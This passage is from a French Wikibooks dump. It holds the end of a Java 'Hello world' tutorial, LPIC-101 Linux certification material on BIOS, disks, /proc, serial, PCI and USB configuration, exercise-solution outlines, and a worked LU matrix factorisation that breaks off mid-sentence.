le programme précédent et sauvegardez le dans un fichier ''Exemple.java'' (pour la raison expliquée précédement) et tapez dans une fenêtre d'invite de commande : <pre> javac Exemple.java </pre> Le compilateur ''javac'' va produire un fichier ''Exemple.class''. Nous avons obtenu notre bytecode. ===Exécution du programme=== '''java''' est une machine virtuelle java fournie par Sun et disponible pour de nombreux enviromments. Pour exécuté notre bytecode, il suffit de taper : <pre> java Exemple </pre> L'exécution du programme affiche dans une fenêtre console la fameuse phrase ''Hello world!''. ===Remarque=== Malgré la "simplicité" apparente de ce premier programme, il n'est pas aisé de débuter la compréhension de l'orientation objet du langage java de cette manière. C'est le propos d'un article qui montre en fait que "Hello World" ne donne pas une bonne idée de la programmation orientée java ! Autant savoir sur le site de [http://www.projectomega.org/article.php?lg=fr&php=oreilly_java9&p=1 ProjectOmega] {{Programmation}} Programmation Caml 562 12261 2005-04-26T09:16:19Z 81.56.112.11 Caml est un langage de programmation fonctionnelle fortement typé, de la famille ML. Il est développé à L'INRIA, et on peut se le procurer gratuitement : http://caml.inria.fr/index.fr.html. Modèle:LPIC101 563 12262 2004-10-06T09:36:47Z Yann 2 {| style="border:1px black solid; margin=5px 5px 5px 1em;width:160px;" cellspacing="0" cellpadding="5" align="right" | style="text-align:center;" | [[Image:LPIC.png|150px|Logo LPI]] |- | * [[LPIC1 examen 101]] * [[Objectifs détaillés (LPIC101)|Objectifs détaillés]] ** [[Matériel & Architecture (LPIC101)|Matériel & Architecture]] ** [[Installation de Linux & Gestion des packages (LPIC101)|Installation de Linux & Gestion des Packages]] ** [[GNU & commandes Unix (LPIC101)|GNU & commandes Unix]] ** [[Périphériques & Systèmes de fichiers Linux (LPIC101)|Systèmes de fichiers]] ** [[X Window (LPIC101)|X Window]] * [[Solution des exercices (LPIC101)|Solution des exercices]] |} Matériel & Architecture (LPIC101) 564 28864 2006-01-13T21:33:17Z JMRyan 1016 Lien à la version anglaise. {{LPIC101}} == Configurer les bases du BIOS == === Objectifs === Description : ''Les candidats devraient être capables de configurer le matériel système de base en modifiant correctement le BIOS système. Cet objectif inclut une compréhension appropriée des buts de configuration du BIOS tels que l'utilisation de LBA sur les disques durs IDE de plus de 1024 cylindres, en activant ou désactivant des périphériques intégrés, aussi bien qu'en configurant des systèmes avec ou sans périphériques externes tels que des claviers. Cela inclut également le paramétrage correct des adresses d'IRQ, de DMA et d'I/O pour tous les ports administrés par le BIOS et la gestion des arrêts sur erreur.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : /proc/ioports /proc/interrupts /proc/dma /proc/pci Vous trouverez de plus amples informations sur ce point en cliquant sur le lien suivant : [http://www.kplug.org/LPI/HandA.shtml KPLUG] === BIOS === Quand vous allumez l'ordinateur, les instructions du BIOS (Basic Input Output System) sont chargées en RAM depuis un composant ROM situé sur la carte mère et dans lequel elles sont disponibles de façon permanente. Ces instructions indiquent au processeur où est situé le système d'exploitation et comment le charger en RAM. Pour permettre au système d'exploitation et aux applications de fonctionner sur un PC, le BIOS fournit un niveau standard de services que le système d'exploitation peut utiliser pour dialoguer avec le matériel. À son tour, le système d'exploitation fournit des services standards aux applications qui leur permettent de fonctionner. Quelques services du BIOS : Geometry Translation for IDE/ATA Hard Drives Over 504 MB Plug-and-Play Year 2000 Compliance Support for IDE/ATA Hard Drives Over 2 GB Tous les systèmes d'exploitation n'utilisent pas ces services : quelques-uns utilisent leurs propres instructions pour accéder au matériel. Cette méthode pour accéder au matériel permet d'améliorer les performances. === Accès à des disques-durs de grande capacité === LBA (Logic Block Addressing) est la méthode la plus courante pour dépasser la limite des 528 Mo imposée par les lecteurs de disques IDE. La limite des 528 Mo est imposée par le plus petit dénominateur commun (ppcm) entre les interfaces IDE et le BIOS (INT13H). Elements INT13H IDE Limitation Max Sector/Track 63 255 63 Number of heads 255 16 16 Number of cylindes 1024 65536 1024 Max Capacity 8.4G 136.9G 528M Avec LBA, chaque bloc a un numéro unique et le niveau physique du disque n'est pas visible par le système d'exploitation. Par exemple, un disque de 2048 cylindres, 16 têtes et 63 secteurs sera détecté avec 1024 cylindres, 32 têtes et 63 secteurs. Dans la traduction, si le numéro de secteur est inférieur à 1024*16*63, le disque dur fait moins de 528M. Lorsque le numéro de secteur est supérieur à 1024*16*63, le nombre de têtes est fixé à 32. Pour que tout fonctionne correctement, ce mécanisme doit être supporté par le BIOS, l'OS et le disque IDE. === Obtenir des informations sur les disques-durs === Pour obtenir des informations sur la géométrie d'un disque IDE, utilisez <tt>hdparm</tt>. hdparm [options] [devices] Options courantes : -g: Fournit la géométrie du disque. -C: Affiche le mode de puissance du disque dur. active/idle: operation normale, Standby: Mode puissance réduite, or sleeping: Mode puissance minimum. -v: Affiche tous les paramètres du disque dur. Exemples : hdparm -g /dev/hda /dev/hda: geometry = 3648/255/63, sectors = 58605120, start = 0 hdparm -C /dev/hda /dev/hda: drive state is: active/idle === Obtenir des informations sur le noyau === /proc est un pseudo-système de fichiers qui est utilisé comme interface vers les structures de données du noyau. La plupart de ses fichiers sont en lecture seule, mais certains permettent de modifier les variables du noyau. Exemples de répertoires disponibles: [Number]: informations sur les processus exécutés sur le système. cmdline: la ligne de commande complète, cwd : le répertoire de travail, ... /proc/uptime Depuis quand le système a démarré et fonctionne. /proc/sys/kernel Informations sur le noyau. /proc/sys/net Informations réseau. /proc/partitions Informations sur les partitions du/des disque(s) dur(s). /proc/scsi Informations SCSI. /proc/mount Informations sur les systèmes de fichiers montés. /proc/devices Liste les pilotes chargés. /proc/bus Informations sur les bus. /proc/version Version Linux. Et plus encore ... === Exercices === * [[Solutions des exercices (LPIC101)|Solutions des exercices]] # Quelle est la taille de la mémoire RAM de votre système ? # Quels sont les périphériques qui partagent la même ligne d'interruption ? # Utilisez l'utilitaire lspci avec les options correctes pour obtenir le dessin de l'architecture PCI de votre système. #* Combien y a-t-il de bus et de ponts PCI ? #* Y a-t-il des ponts PCI/ISA ? # Quelles sont les options de lspci permettant d'établir la liste des périphériques PCI Intel ? # Quelle est la commande permettant de mettre votre disque-dur en mode lecture seule ? # Quelle est la commande permettant d'activer/désactiver le cache d'un disque-dur ? # A quoi sert l'utilitaire setpci ? # Quelle serait la commande permettant d'écrire un mot dans un registre N d'un périphérique PCI ? # Quelle est la température du processeur ? == Configurer un modem et une carte son == === Objectifs === Description : ''Assurez-vous des conditions de compatibilité de raccordement des périphériques (en particulier pour les modems qui ne sont pas "Windows"), vérifiez que le modem et la carte son emploient des adresses uniques et correctes d'IRQ, d'I/O, et de DMA, si la carte son est PnP, installez et démarrez sndconfig et isapnp, configurez le modem pour un "dial-up" clavier, configurez le modem pour le protocole PPP | SLIP | CSLIP connection, paramétrez le port série pour 115.2 Kbps.'' === Modem === '''Un modem est un périphérique qui permet d'envoyer des données numériques sur une ligne téléphonique.''' Il existe quatre types de modems : * Externe : connecté par le port série. * USB : connecté par un port USB. * Interne : carte ISA ou PCI. * Intégré : directement intégré à la carte mère. La plupart des nouveaux modems sont ''Plug and Play'' et vous avez différents moyens de les configurer : * Le pilote série le fait pour vous. * Utiliser le programme <tt>isapnp</tt>. * Laisser le BIOS PnP faire la configuration. Pour afficher les informations sur un périphérique ISA, utilisez <tt>pnpdump</tt>. Cet utilitaire peut afficher les informations d'une carte PnP (ports d'entrée/sortie, interruptions et canaux DMA) que la carte souhaite ou doit utiliser. Pour configurer un périphérique ISA, utilisez <tt>isapnp</tt>. Pour plus d'informations, lisez la page de manuel du fichier <tt>isapnp.conf</tt>. === Ports série === Un modem externe peut être configuré avec <tt>setserial</tt>. setserial [options] device [parameters] Les différents ports série disponibles sont : /dev/ttys0 (COM1), port 0x3f8, irq 4 /dev/ttys1 (COM2), port 0x2f8, irq 3 /dev/ttys2 (COM3), port 0x3e8, irq 4 /dev/ttys3 (COM4), port 0x2e8, irq 3 Options habituelles : -a: rapporte toutes les informations disponibles sur un périphérique connecté. Paramètres habituels : -port: numéro de port. -irq: numéro IRQ. -uart: Type d'UART autorisé (aucun, 8250, 16450,...). -autoconfig: Demande au kernel de déterminer l'UART, le numéro IRQ,... -baud_rate: Bande passante de communication (maximum : 115200 octets/sec). Exemple : $ setserial -g /dev/ttyS* === Appels entrants et sortants === Pour émettre un appel avec un modem, vous pouvez utiliser les applications <tt>setserial</tt> ou <tt>minicom</tt>. Un fichier de configuration peut être créé avec l'option <tt>-s</tt>. minicom -s Pour recevoir un appel, le système a besoin de lancer un processus <tt>getty</tt> pour gérer la session d'appel. La configuration doit être faite avec le fichier <tt>/etc/inittab</tt> : D1:45:respawn:/sbin/agetty -mt60 19200,9600 ttyS0 vt100 -m: dit à getty d'extraire le taux bps. 19200,9600: taux bps quand il reçoit un caratère BREAK. t60: timeout de 60 secondes. ttyS0: port sur lequel le modem est connecté. vt100: type de terminal utilisé dans la variable d'environnement TERM. Une fois que <tt>/etc/inittab</tt> est modifié, <tt>init</tt> doit le relire. telinit -q === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == Installer des périphériques SCSI == === Objectifs === Description : ''Les candidats devraient pouvoir configurer les périphériques SCSI en utilisant le "BIOS SCSI" aussi bien que les outils Linux nécessaires. Ils devraient également faire la différence entre les divers types de SCSI. Cet objectif inclut la manipulation du BIOS SCSI pour détecter les identifications SCSI utilisées et disponibles et saisir la valeur correcte d'identification pour différents périphériques, particulièrement le périphérique de démarrage (boot). Cela comprend également la gestion du paramétrage du BIOS de l'ordinateur pour déterminer la séquence de démarrage (boot) si des périphérique SCSI et IDE sont présents.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;SCSI ID ;/proc/scsi/ ;scsi_info === Périphériques SCSI === On peut accéder au BIOS SCSI lors du boot avec une séquence particulière de touches, ce qui permet de modifier certains paramètres, de définir le SCSI comme bootable ou d'autres. Pour accéder aux informations du SCSI, utiliser <tt>scsi_info</tt> ou <tt>hdparm</tt>. Exemples : scsi_info /dev/sda hdparm -gv /dev/sda === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == Paramétrer différentes cartes d'extension PC == === Objectifs === Description : ''Les candidats devraient être en mesure de configurer de nombreuses cartes pour différents slots d'extension. Ils devraient connaitre la différence entre les cartes ISA et PCI en respectant les données de configuration. Cet objectif comprend le paramétrage correct des IRQs, DMA et ports I/O des cartes, notammment pour éviter les conflits entre les périphériques. Cela inclut l'usage de isapnp si la carte est un periphérique PnP.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;/proc/dma ;/proc/interrupts ;/proc/ioports ;/proc/pci ;pnpdump (8) ;isapnp (8) ;lspci (8) === Cartes PCI === Toutes les cartes PCI sont normalement détectées par le BIOS. Lors du boot, le BIOS vérifie l'espace de configuration PCI et détecte tous les périphériques et les ''bridges''. Pour être sûr que le BIOS a détecté tous les périphériques PCI, utiliser <tt>lspci</tt>. Vérifier les ''bridges'', les fonctions et les périphériques spéciaux. === Cartes ISA === Toutes les cartes ISA sont aussi normalement détectées par leur pilote respectif. Les utilitaires qui permettent de configurer manuellement les cartes ISA sont <tt>pnpdump</tt>, <tt>pnpisa</tt> et le fichier <tt>/etc/isapnp.conf</tt>. Le programme <tt>pnpdump</tt> permet d'afficher les informations sur les cartes ISA détectées. Le programme <tt>pnpisa</tt> utilise un fichier de configuration <tt>/etc/isapnp.conf</tt> qui a la même syntaxe que la sortie de <tt>pnpdump</tt> et qui permet de configurer n'importe quel paramètre d'une carte ISA. === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == Configurer les périphériques de communication == === Objectifs === Description : ''Les candidats devraient être en mesure d'installer et de configurer différents périphériques internes ou externes de communication comme un modem, un adaptateur ISDN, et commutateurs (switches) DSL. L'objectif inclut la vérification de la compatibilité requise (importante en particulier si le modem est compatible Windows), et de la nécessité de charger et de paramétrer les pilotes adéquats des périphériques, ainsi que les paramètres matériels (IRQs, DMAs, I/O ports) des périphériques. Cela comprend également les périphériques de communication et les outils de configuration d'interfaces, comme le port série pour 115.2 kbps, et l'installation correcte du modem pour la limite de connexions PPP en sortie.'' '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;/proc/dma ;/proc/interrupts ;/proc/ioports ;setserial(8) === I/O Ports === Pour obtenir la liste des ports d'entrée/sortie utilisés dans le système, vous pouvez afficher le contenu du fichier <tt>/proc/ioports</tt>. $ cat /proc/ioports 0000-001f : dma1 0020-003f : pic1 0040-005f : timer 0060-006f : keyboard 0070-007f : rtc 0080-008f : dma page reg 00a0-00bf : pic2 00c0-00df : dma2 00f0-00ff : fpu 0170-0177 : PCI device 8086:248a 0170-0177 : ide1 01f0-01f7 : PCI device 8086:248a 01f0-01f7 : ide0 02f8-02ff : serial(auto) 0376-0376 : PCI device 8086:248a 0376-0376 : ide1 0378-037a : parport0 037b-037f : parport0 03c0-03df : vesafb 03f6-03f6 : PCI device 8086:248a 03f6-03f6 : ide0 === Interruptions === Afin d'obtenir la liste de toutes les interruptions de tous les périphériques, on peut afficher le contenu du fichier <tt>/proc/interrupts</tt> à l'écran. $ cat /proc/interrupts CPU0 0: 397517 XT-PIC timer 1: 7544 XT-PIC keyboard 2: 0 XT-PIC cascade 5: 0 XT-PIC usb-uhci, usb-uhci 8: 2 XT-PIC rtc 10: 2024 XT-PIC eth0, usb-uhci, PCI device 104c:ac51, PCI device 104c:ac51, Intel ICH3 12: 19502 XT-PIC PS/2 Mouse 14: 11445 XT-PIC ide0 15: 2770 XT-PIC ide1 NMI: 0 ERR: 0 Pour obtenir un système optimisé, vérifier qu'une adresse d'interruption n'est pas utilisée à la fois par deux périphériques très occupés. Se souvenir que toute ISR de n'importe quel périphérique sera exécutée pour chaque interruption. === DMA === Pour obtenir la liste de tous les canaux DMA (Direct Memory Access) ISA utilisés, afficher le contenu du fichier <tt>/proc/dma</tt>. $ cat /proc/dma 4: cascade === PCI === Pour obtenir la liste de tous les périphériques sur le bus PCI, afficher le contenu du fichier <tt>/proc/pci</tt>. $ cat /proc/pci PCI devices found: Bus 0, device 0, function 0: Class 0600: PCI device 8086:3575 (rev 2). Prefetchable 32 bit memory at 0xe0000000 [0xefffffff]. Bus 0, device 1, function 0: Class 0604: PCI device 8086:3576 (rev 2). Master Capable. Latency=96. Min Gnt=12. Bus 0, device 29, function 0: Class 0c03: PCI device 8086:2482 (rev 1). IRQ 10. I/O at 0x1800 [0x181f]. Bus 0, device 29, function 1: Class 0c03: PCI device 8086:2484 (rev 1). IRQ 5. I/O at 0x1820 [0x183f]. Bus 0, device 29, function 2: Class 0c03: PCI device 8086:2487 (rev 1). IRQ 5. I/O at 0x1840 [0x185f]. Bus 0, device 30, function 0: Class 0604: PCI device 8086:2448 (rev 65). Master Capable. No bursts. Min Gnt=4. === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == Configurer des périphériques USB == === Objectifs === Description : ''Les candidats devraient être en mesure d'activer le support USB, utiliser et configurer des périphériques USB différents. Cet objectif inclut la sélection du chipset USB approprié et du module correspondant. Cela inclut aussi la connaissance des bases de l'architecture de couche modèle (layer model) de l'USB ainsi que les différents modules utilisés dans les différentes couches (layer). '''Fichiers''', ''termes'' et <tt>commandes</tt> principaux inclus : ;lspci (8) ;usb-uhci.o ;usb-ohci.o ;/etc/usbmgr/ ;usbmodules ;/etc/hotplug === Détection automatique de nouveaux périphériques USB === Le programme exécuté lorsqu'un nouveau périphérique est connecté est hotplug hotplug nom Noms courants : pci: périphérique PCI. usb: périphérique USB. Le répertoire /etc/hotplug contient les scripts qui ont besoin d'être exécutés chaque fois qu'un périphérique est inséré ou enlevé. /etc/hotplug/pci.agent: Pour installer le pilote PCI adéquat. /etc/hotplug/usb.agent: Pour installer le pilote USB adéquat. Le programme hotplug est également lancé au démarrage du système pour initialiser tous les périphériques connectés. /etc/init.d/hotplug === Lister les périphériques USB === Pour vérifier que tous les périphériques ont bien été détectés, utilisez lsusb. lsusb [options] Exemple: lsusb Bus 001 Device 004: ID 04a9:3045 Canon Inc. PowerShot S100 Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 1.00 bDeviceClass 255 Vendor Specific Class bDeviceSubClass 255 Vendor Specific Subclass bDeviceProtocol 255 Vendor Specific Protocol bMaxPacketSize0 32 idVendor 0x04a9 Canon Inc. idProduct 0x3045 PowerShot S100 ... Pour afficher une vue graphique des périphériques USB connectés, utilisez usbview. === Pilotes USB === Chaque périphérique USB détecté sera monté dans le système de fichiers /proc/bus/usb. L'application appropriée pourra y accéder. Chaque périphérique USB sera vu au travers d'un système de fichiers. /proc/bus/usb/001/005 Pour vérifier que le pilote approprié a bien été chargé pour un périphérique USB, utilisez usbmodules. usbmodules [options] Exemples: usbmodules –device /proc/bus/usb/001/001 usbcore usbmodules –device /proc/bus/usb/001/005 –mapfile /etc/hotplug/usb.handman Les modules à charger par défaut sont /lib/modules/''<version-noyau>''/modules.usbmap. La table de correspondance est stockée dans le fichier /lib/modules/''<version-noyau>''/modules.usbmap. Tous les pilotes sont stockés dans le répertoire /lib/modules/''<version-noyau>''/kernel/drivers/usb/. === Applications USB === Beaucoup d'applications existent pour beaucoup de périphériques différents. Il faut parfois du temps pour arriver à toutes les faire marcher. gphoto2 est une application qui peut-être utilisée pour un appareil photo numérique. options courrantes: --debug : Pour voir quel est le problème de communication avec l'appareil photo. --print-usb-usermap : stocke la sortie dans /etc/hotplug/usb.usermap de façon à ce que l'application supporte votre appareil photo. -P : Télécharger les photos. Exemple: gphoto2 --summary Détection du 'Canon PowerShot S100'. Résumé de l'appareil : Indentification de l'appareil : Modèle : Canon PowerShot S100 Propriétaire : État énergie : sur piles (énergie OK) Information du disque Flash : Disque D: 16'203'776 octets au total 598'016 octets disponibles === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] USB : * Vérifiez que vous pouvez détecter un appareil photo numérique. * Visualisez les informations relatives à l'appareil photo. * Prenez une photo et téléchargez-la dans votre système à l'aide de gphoto2. * Configurez votre propre périphérique (disque dur, appareil photo, souris, clavier, ...) PPP: * Reliez deux ordinateurs à l'aide d'un câble série et utilisez ppp pour ouvrir une connexion sur l'autre ordinateur (ssh). * Reliez deux ordinateurs à l'aide d'un câble série et ouvrez une console série sur l'autre ordinateur (/dev/ttyS0). [[en:LPI Linux Certification/LPIC1 Exam 101/Hardware & Architecture]] Solution des exercices (LPIC101) 565 28867 2006-01-13T21:38:53Z JMRyan 1016 Lien à la version anglaise. {{LPIC101}} == Matériel et architecture == === Configurer les bases du BIOS === # Visualiser le fichier /proc/meminfo. La taille de la RAM est indiquée à la ligne ''Total''. # Exécuter la commande cat /proc/interrupts. # Exécuter la commande lspci -tv # Exécuter la commande lspci -d 8086: # Exécuter la commande hdparm -r /dev/hda # Exécuter la commande hdparm -W /dev/hda # Accéder aux périphériques PCI et les configurer. # . # Faire un cat /proc/acpi/thermal_zone/THM/temperature. # hichem === Configurer un modem et une carte son === === Installer des périphériques SCSI === === Paramétrer des cartes d'extension PC === === Configurer les périphériques de communication === === Configurer des périphériques USB === == Installation de linux et gestion des ''packages'' == === Conception de disposition (''layout'') de disque dur === === Installer un gestionnaire de démarrage === === Compiler et installer un programme à partir du code source === === Gérer les bibliothèques partagées === === Utiliser le gestionnaire de ''packages'' Debian === === Utiliser le gestionnaire de ''package'' Red Hat (RPM) === == GNU et commandes Unix == === Travailler en ligne de commande === === ''Process text streams'' à l'aide des filtres === === Effectuer la gestion de base des fichiers === === Utiliser les ''streams'', ''pipes'', et redirections === === Créer, contrôler et tuer des processus === === Modifier la priorité d'exécution d'un processus === === Rechercher des fichiers texte à l'aide des expressions régulières === === Réaliser des opérations d'édition de base avec l'éditeur VI === == Périphériques et système de fichiers Linux == === Créer des partitions et des systèmes de fichiers === === Préserver l'intégrité d'un système de fichiers === === Contrôler le montage et démontage d'un système de fichiers === === Gérer les quotas de disques === === Utiliser les permissions des fichiers pour en contrôler l'accès === === Gérer les propriétés des fichiers === === Créer et modifier des liens symboliques ou réels === === Trouver les fichiers systèmes et maîtriser leur emplacement === == X Window == === Installer et configurer XFree86 === === Installer un gestionnaire d'affichage === === Installer et configurer un gestionnaire d'environnement graphique === [[en:LPI Linux Certification/LPIC1 Exam 101/Exercises results]] Solutions des exercices (LPIC101) 566 12265 2004-10-05T15:13:53Z Yann 2 Solutions des exercices (LPIC101) déplacé vers Solution des exercices (LPIC101) #REDIRECT [[Solution des exercices (LPIC101)]] Modèle:LPIC102 567 12266 2004-10-06T10:29:06Z Yann 2 {| style="border:1px black solid; margin=5px 5px 5px 1em;width:160px;" cellspacing="0" cellpadding="5" align="right" | style="text-align:center;" | [[Image:LPIC.png|150px|Logo LPI]] |- | * [[LPIC1 examen 102]] * [[Objectifs détaillés (LPIC102)|Objectifs détaillés]] ** [[Kernel (LPIC102)|Kernel]] ** [[Démarrage, initialization, arrêt et niveaux de fonctionnement (LPIC102)|Niveaux de fonctionnement]] ** [[Imprimer (LPIC102)|Imprimer]] ** [[Documentation (LPIC102)|Documentation]] ** [[Shells, écriture de scripts, programmation et compilation (LPIC102)|Shells et scripts]] ** [[Tâches administratives (LPIC102)|Tâches administratives]] ** [[Fondamentaux des réseaux (LPIC102)|Fondamentaux des réseaux]] ** [[Services réseaux (LPIC102)|Services réseaux]] ** [[Securité (LPIC102)|Securité]] * [[Solution des exercices (LPIC102)|Solution des exercices]] |} Solution des exercices (LPIC102) 568 12267 2004-10-06T10:38:23Z Yann 2 {{LPIC102}} {{LPIC102}} Solution des exercices du niveau 102. == Kernel == === Maîtrise du noyau et des modules au démarrage === === Reconfigurer, construire, et installer un noyau adapté et ses modules === == Démarrage, initialization, arrêt et niveaux de fonctionnement == === Démarrer le système === === Changer de niveaux de fonctionnement, arrêter ou redémarrer le système === == Imprimer == === Gestion des imprimantes et des queues d'impression === === Imprimer des fichiers === === Installer et configurer des imprimantes distantes et locales === == Documentation == === Utiliser et gérer un système de documentation === === Trouver la documentation Linux sur Internet === === Informer les utilisateurs sur l'état du système === == Shells, écriture de scripts, programmation et compilation == === Configurer et utiliser l'environnement du Shell === === Adapter et écrire des scripts simples === == Tâches administratives == === Gérer les comptes utilisateurs et les groupes et les fichiers associés === === Optimiser l'environnement utilisateur et les variables d'environnement système === === Configurer et utiliser les fichiers de logs du système pour répondre aux besoins d'administration et de sécurité === === Automatiser les tâches d'administration système en utilisant des travaux préprogrammés === === Maintenir une stratégie efficace de sauvegarde des données === === Maintenance du temps système === == Fondamentaux des réseaux == === Fondamentaux de TCP/IP === === Configuration et résolution des problèmes TCP/IP === === Configurer Linux comme client PPP === == Services réseaux == === Configurer et gérer inetd, xinetd et les services associés === === Configuration de base de Sendmail === === Configuration de base de Apache === === Gérer correctement les daemons NFS, smb and nmb === === Installer et configurer les services DNS de base === === Installer Secure Shell (OpenSSH) === == Securité == === Exécuter des tâches de securité en administration === === Sécuriser une machine === === Niveaux de sécurité de l'utilisateur === Algèbre linéaire:Systèmes d'équations linéaires 569 44551 2006-06-14T18:30:07Z 196.206.120.200 /* Résolution de systèmes d'équations linéaires */ ==Systèmes d'équations linéaires et matrices== ===Résolution de systèmes d'équations linéaires=== ===Systèmes de deux équations à deux inconnues=== ==Factorisation '''<math>LU</math>''' d'une matrice== Certains systèmes d'équations linéaires sont plus faciles à résoudre que d'autres. Un cas particulier de système facile à résoudre est un système d'équations triangulaire tel que <math> \begin{matrix} a_{11} x_1 &+& a_{12} x_2 &+& a_{13} x_3 &=& b_1 \\ && a_{22} x_2 &+& a_{23} x_3 &=& b_2 \\ &&&& a_{33} x_3 &=& b_3. \end{matrix} </math> La factorisation <math>LU</math> d'une matrice permet de transformer un système d'équations linéaires en deux systèmes d'équations triangulaires. En effet, si <math>A=LU</math> avec <math>L</math> une matrice triangulaire inférieure et <math>U</math> une matrice triangulaire supérieure (la notation <math>LU</math> prend son origine de l'anglais <math>L</math> pour lower et <math>U</math> pour upper) alors résoudre <math>Ax=b</math> est équivalent à résoudre <math>LUx=b</math> qui peut se faire en résolvant les deux systèmes triangulaires <math>Lz=b</math> et <math>Ux=z</math>. ===Factorisation <math>LU</math> sans permutation=== Pour alléger l'écriture, nous allons montrer comment faire une factorisation <math>LU\,</math> sur un exemple simple d'une matrice 3&times;3. Le lecteur devrait être capable de généraliser facilement la procédure à des matrices carrées d'autres dimensions. Soit <math>A\,</math> la matrice que l'on veut factoriser : <math> A=\begin{pmatrix} 2 & 1 & 1 \\ 4 & 3 & 4 \\ -2 & 2 & 8 \end{pmatrix} </math> Nous transformerons la matrice <math>A\,</math> en une matrice triangulaire supérieure par des opérations linéaires sur les lignes, ce sera la matrice <math>U\,</math>, la matrice <math>L\,</math> pourra être récupérée simplement en prenant note des opérations effectuées. Pour faire la factorisation, nous procèdons par colonne. Nous voulons mettre des zéros dans la première colonne partout sous le premier élément, ce premier élément que l'on n'annule pas est appelé le pivot. Pour mettre un zéro à la position <math>a_{21}\,</math>, nous retranchons 2 fois la première ligne de la deuxième. Le nombre de fois qu'il faut soustraire la première ligne est bien entendu obtenu en divisant l'élément <math>a_{21}\,</math> par le pivot <math>a_{11}\,</math>, nous obtenons : <math> \begin{pmatrix} 2 & 1 & 1 \\ 0 & 1 & 2 \\ -2 & 2 & 8 \end{pmatrix}. </math> Nous devons garder en mémoire l'opération qui a été faite de manière à pouvoir construire la matrice <math>L\,</math>, alors appelons <math>l_{21}\,</math> le facteur de l'opération effectuée, c'est-à-dire le nombre de fois que l'on a soustrait la première ligne à la deuxième, ici nous avons <math>l_{21}=2\,</math>. Continuons avec l'élément suivant sur la première colonne. Nous voulons mettre un zéro à la position <math>a_{31}\,</math>. Cette fois il nous faudra ajouter la ligne 1 à la ligne 3 ; à l'opération précédente nous avions pris en note combien de fois nous avions '''soustrait''' la ligne 1 à la ligne 2. Pour être constant dans notre façon de noter les opération et parce que, comme nous le verons plus loin, c'est beaucoup plus pratique, nous noterons toujours combien de fois nous soustrayons les lignes. Au lieu de noter que nous ajoutons une fois la ligne 1 à la ligne 3, nous noterons que nous soustrayons moins une fois la ligne 1 à la ligne 3, donc <math>l_{31}=-1\,</math> et nous avons maintenant la matrice : <math> \begin{pmatrix} 2 & 1 & 1 \\ 0 & 1 & 2 \\ 0 & 3 & 9 \end{pmatrix}. </math> PASSONS maintenant à la deuxième colonne. Il nous faut choisir un nouveau pivot sur la deuxième colonne. Nous ne pouvons pas choisir le pivot sur la première ligne sinon nous remplirons la première colonne en annulant les entrées dans la deuxième colonne. Prenons donc l'élément à la position 2,2 pour pivot. L'opération pour mettre un zéro à la position 3,2 sera de soustraire 3 fois la deuxième ligne à la troisième ligne. Nous obtenons notre matrice triangulaire supérieure : <math> \begin{pmatrix} 2 & 1 & 1 \\ 0 & 1 & 2 \\ 0 & 0 & 3 \end{pmatrix}. </math> Et nous notons le facteur de l'opération <math>l_{32}=3\,</math>. La matrice <math>L\,</math> est obtenue en mettant des zéros au-dessus de la diagonale, des un sur la diagonale et les coefficients pris en note à leur position respective sous la diagonale c'est-à-dire : <math> L=\begin{pmatrix} 1 & 0 & 0 \\ l_{21} & 1 & 0 \\ l_{31} & l_{32} & 1 \end{pmatrix} =\begin{pmatrix} 1 & 0 & 0 \\ 2 & 1 & 0 \\ -1 & 3 & 1 \end{pmatrix}. </math> Avant de démontrer pourquoi cela fonctionne, vérifions-le sur cet exemple en faisant le produit : <math> A=LU=\begin{pmatrix} 1 & 0 & 0 \\ 2 & 1 & 0 \\ -1 & 3 & 1 \end{pmatrix} \begin{pmatrix} 2 & 1 & 1 \\ 0 & 1 & 2 \\ 0 & 0 & 3 \end{pmatrix} =\begin{pmatrix} 2 & 1 & 1 \\ 4 & 3 & 4 \\ -2 & 2 & 8 \end{pmatrix}. </math> Pour voir pourquoi les matrices <math>L\,</math> et <math>U\,</math> obtenues selon la procédure décrite ci-haut sont bien des facteurs de la matrice <math>A</math> nous introduisons des matrices de soustraction de lignes <math>E_{ij}(c)\,</math>. Ces matrices sont obtenus en mettant des 1 sur la diagonale et l'élément <math>c\,</math> à la position <math>i,j\,</math>. Par exemple, pour les matrices 3&times;3 : <math> E_{21}(-2) = \begin{pmatrix} 1&0&0\\ -2&1&0\\ 0&0&1 \end{pmatrix}. </math> On peut voir que prémultiplier une matrice par <math>E_{21}(-2)\,</math> a pour effet de soustraire deux fois la première ligne à la deuxième ligne. Et de manière générale, prémultiplier une matrice par <math>E_{ij}(c)\,</math> a pour effet de soustraire <math>-c\,</math> fois la ligne <math>j\,</math> à la ligne <math>i\,</math>. Donc la triangularisation que l'on a faite ci-haut peut s'écrire <math>U = E_{32}(-3) E_{31}(1) E_{21}(-2) A.\,</math> L'inverse d'une matrice <math>E_{ij}(c)\,</math> est facile à déterminer. L'inverse est simplement <math>E_{ij}(-c)\,</math>, en effet <math>E_{ij}(c) E_{ij}(-c) = I\,</math>. En multipliant à gauche l'équation de <math>U\,</math> ci-haut par <math>E_{32}(3)\,</math> on obtient: <math>E_{32}(3) U = E_{32}(3) E_{32}(-3) E_{31}(1) E_{21}(-2) A = E_{31}(1) E_{21}(-2) A.\,</math> Et en remultipliant successivement par <math>E_{31}(-1)\,</math> et <math>E_{21}(2)\,</math>, on obtient <math>E_{21}(2) E_{31}(-1) E_{32}(3) U =E_{21}(2) E_{31}(-1) E_{31}(1) E_{21}(-2) A = A.\,</math> Nous laissons au lecteur l'exercice de vérifier que : <math>E_{21}(2) E_{31}(-1) E_{32}(3) = L.\,</math> ===Résoudre un système d'équation linéaire par factorisation <math>LU</math> de la matrice=== Soit à résoudre le système d'équations <math> \begin{matrix} 2x_1&+&x_2&+&x_3&=&3\\ 4x_1&+&3x_2&+&4x_3&=&9\\ -2x_1&+&2x_2&+&8x_3&=&12. \end{matrix} </math> Il est plus pratique d'utiliser la notation matricielle pour écrire le système d'équation, alors dorénavant nous n'écrirons plus de système d'équation tel que ci-haut, nous l'écrirons 